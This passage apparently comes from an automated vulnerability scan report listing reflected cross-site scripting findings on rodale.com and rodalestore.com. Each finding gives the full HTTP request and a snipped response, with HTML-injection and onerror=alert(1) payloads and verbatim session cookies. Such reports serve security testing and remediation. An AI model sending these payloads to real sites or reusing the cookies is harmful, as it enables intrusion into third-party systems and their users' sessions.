The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45b54"><a>f5f5b32c263 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topics?45b54"><a>f5f5b32c263=1 HTTP/1.1
Host: www.rodale.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cmTPSet=Y; _chartbeat2=rkdyf9xiaaxcx0fo

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:44:09 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:14:13 GMT
Date: Thu, 10 Mar 2011 16:44:13 GMT
Connection: close
Content-Length: 39412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topics?45b54"><a>f5f5b32c263=1" title="Register" class="moreLink">
...[SNIP]...

2.937. http://www.rodale.com/video [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/video

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2fe7"><a>e4e45fbc6b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /videoe2fe7"><a>e4e45fbc6b2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:35:40 GMT
Date: Thu, 10 Mar 2011 17:05:41 GMT
Content-Length: 22431
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page videoe2fe7"><a>e4e45fbc6b2 node node-958">
...[SNIP]...

2.938. http://www.rodale.com/video [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/video

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c4f8"><a>8d98e810a19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /video?2c4f8"><a>8d98e810a19=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:05 GMT
Date: Thu, 10 Mar 2011 17:05:05 GMT
Content-Length: 17444
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/video?2c4f8"><a>8d98e810a19=1" title="Register" class="moreLink">
...[SNIP]...

2.939. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload c581b--><img%20src%3da%20onerror%3dalert(1)>8a0f6f44905 was submitted in the REST URL parameter 5. This input was echoed as c581b--><img src=a onerror=alert(1)>8a0f6f44905 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchViewc581b--><img%20src%3da%20onerror%3dalert(1)>8a0f6f44905?langId=-1&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:59 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22210

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "AdvancedSearchViewc581b--><img src=a onerror=alert(1)>8a0f6f44905".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.940. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [catalogId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the catalogId request parameter is copied into the HTML document as plain text between tags. The payload 2e852<img%20src%3da%20onerror%3dalert(1)>b2ac55de8bb was submitted in the catalogId parameter. This input was echoed as 2e852<img src=a onerror=alert(1)>b2ac55de8bb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-1&storeId=10051&catalogId=100022e852<img%20src%3da%20onerror%3dalert(1)>b2ac55de8bb&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:09 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 9244

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following error has occurred during processing: "For input string: "100022e852<img src=a onerror=alert(1)>b2ac55de8bb"".</TD>
...[SNIP]...

2.941. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload a946d--><img%20src%3da%20onerror%3dalert(1)>376701db2fc was submitted in the langId parameter. This input was echoed as a946d--><img src=a onerror=alert(1)>376701db2fc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-1a946d--><img%20src%3da%20onerror%3dalert(1)>376701db2fc&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:59 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20506

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1a946d--><img src=a onerror=alert(1)>376701db2fc&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.942. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload 2a88c<img%20src%3da%20onerror%3dalert(1)>dc20155f90c was submitted in the langId parameter. This input was echoed as 2a88c<img src=a onerror=alert(1)>dc20155f90c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-12a88c<img%20src%3da%20onerror%3dalert(1)>dc20155f90c&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:56 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20434

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-12a88c<img src=a onerror=alert(1)>dc20155f90c"

   </td>
...[SNIP]...

2.943. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48991"><img%20src%3da%20onerror%3dalert(1)>74001fe977d was submitted in the langId parameter. This input was echoed as 48991"><img src=a onerror=alert(1)>74001fe977d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-148991"><img%20src%3da%20onerror%3dalert(1)>74001fe977d&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:39 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20482

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-148991"><img src=a onerror=alert(1)>74001fe977d&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.944. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 61da3--><img%20src%3da%20onerror%3dalert(1)>5d370436430 was submitted in the storeId parameter. This input was echoed as 61da3--><img src=a onerror=alert(1)>5d370436430 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-1&storeId=1005161da3--><img%20src%3da%20onerror%3dalert(1)>5d370436430&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:06 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23465

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=1005161da3--><img src=a onerror=alert(1)>5d370436430&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.945. http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/AdvancedSearchView

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d339"><img%20src%3da%20onerror%3dalert(1)>899dd4cac19 was submitted in the storeId parameter. This input was echoed as 5d339"><img src=a onerror=alert(1)>899dd4cac19 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/AdvancedSearchView?langId=-1&storeId=100515d339"><img%20src%3da%20onerror%3dalert(1)>899dd4cac19&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:02 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23437

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100515d339"><img src=a onerror=alert(1)>899dd4cac19&nav_wt=header">
...[SNIP]...

2.946. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload c9227--><img%20src%3da%20onerror%3dalert(1)>54b4fd9931f was submitted in the REST URL parameter 5. This input was echoed as c9227--><img src=a onerror=alert(1)>54b4fd9931f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplayc9227--><img%20src%3da%20onerror%3dalert(1)>54b4fd9931f?catalogId=10002&storeId=10051&categoryId=10208&langId=-1&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:25 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
m, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "CategoryDisplayc9227--><img src=a onerror=alert(1)>54b4fd9931f".
Originating Command:
Corrective Action:

